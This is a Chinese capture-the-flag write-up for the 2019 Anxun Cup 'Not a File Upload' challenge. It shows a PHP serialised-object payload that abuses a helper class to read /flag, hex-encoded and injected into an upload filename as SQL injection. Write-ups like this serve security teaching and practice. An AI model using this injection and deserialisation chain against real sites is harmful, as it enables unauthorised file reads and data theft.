[安洵杯 2019]不是文件上传

我们在页面主页发现信息

image-20240901183916487

在github里面可以找到源码

image-20240901184019402

upload.php:
上传页面,包括了helper.php ,序列化图片的内容并存在数据库中。

helper.php:
反序列化数据库中的内容,输出图片内容

所以我们的核心思路:
将危险代码通过序列化存在数据库中,在反序列化的过程后,通过某些函数执行危险代码

这里一定可以存入数据库,否则我们在前端无法利用,所以数据库的语句一定有漏洞,只要想好怎么利用就可以

大概看看代码,在view_files 函数里存在文件读取,那么就按照他的来,

构造ifview==True,content=/flag

构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";

}
$a = new helper();
echo serialize($a);

?>

//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

我们将payload修改为

1
2
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

正常上传图片的sql语句为:

1
2
3
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

由于title出我们可以修改,所以构造文件名

1
2
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

因为上传的文件名中不能有双引号,所以将payload进行16进制编码

image-20240901185101554

使用 Brupsuite 将上传的 filename 修改为构造的文件名上传,再访问 show.php 即可得到flag。
上传一张图片,修改filename

image-20240901185332435

访问show.php

得到flag

image-20240901185358157